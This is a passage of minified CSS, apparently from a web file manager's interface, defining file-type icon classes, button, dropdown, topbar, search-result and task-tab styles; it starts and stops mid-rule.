\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .title img{max-width:200px;max-height:44px;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:115px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', 